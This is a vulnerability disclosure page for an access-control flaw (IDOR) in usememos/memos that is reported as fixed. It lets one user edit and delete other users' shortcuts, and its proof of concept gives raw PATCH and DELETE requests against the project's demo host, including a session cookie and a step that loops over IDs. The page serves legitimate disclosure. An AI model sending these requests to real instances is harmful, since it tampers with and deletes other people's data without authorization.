Users can edit and delete all other user shortcuts in usememos/memos

Valid

Reported on

Dec 23rd 2022


Description

Users can edit and delete all other user shortcuts

Proof of Concept

Step 1. Log in as user A and make a shortcuts

Step 2. View shortcut information including: ID, rowStatus, title, payload... (For ex: user A creates a shortcut with ID 10)

Step 3. Log in as user B and make a shortcuts. Edit the shortcut just created

Step 4. Change the ID parameter to 10 to edit the user shortcut A

PATCH /api/shortcut/{xxxxxx} HTTP/2
Host: demo.usememos.com
Cookie: memos_session=MTY3MTgyNDY4NnxEdi1EQkFFQ180UUFBUkFCRUFBQUhfLUVBQUVHYzNSeWFXNW5EQWtBQjNWelpYSXRhV1FEYVc1MEJBTUFfOVk9fNlvQXhvAKsL-KBRMeChYqY8YzrDNpSUSOCFBCuZDczv
Content-Length: 42
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Accept: application/json, text/plain, */*
Content-Type: application/json
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://demo.usememos.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.usememos.com/?shortcutId=8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

{"id": xxxxxxxx ,"title":"Demo IDOR by user B","payload":"[]"}

Step 5. Remove all user shortcuts by replacing the loop ID

DELETE /api/shortcut/{xxxxxx} HTTP/2
Host: demo.usememos.com
Cookie: memos_session=MTY3MTgyNDY4NnxEdi1EQkFFQ180UUFBUkFCRUFBQUhfLUVBQUVHYzNSeWFXNW5EQWtBQjNWelpYSXRhV1FEYVc1MEJBTUFfOVk9fNlvQXhvAKsL-KBRMeChYqY8YzrDNpSUSOCFBCuZDczv
Sec-Ch-Ua: "Not?A_Brand";v="8", "Chromium";v="108"
Accept: application/json, text/plain, */*
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://demo.usememos.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://demo.usememos.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

Impact

This vulnerability allows users edit and delete all other user shortcuts, it also affects Integrity of the component as the user modifies information

We are processing your report and will contact the usememos/memos team within 24 hours. 17 days ago
We have contacted a member of the usememos/memos team and are waiting to hear back 16 days ago
STEVEN validated this vulnerability 12 days ago
Juy Lang has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
STEVEN marked this as fixed in 0.9.1 with commit 3556ae 12 days ago
STEVEN has been awarded the fix bounty
This vulnerability has been assigned a CVE
STEVEN published this vulnerability 12 days ago
eminealtug
11 days ago

Hesaba giriş nasıl yapicagim

to join this conversation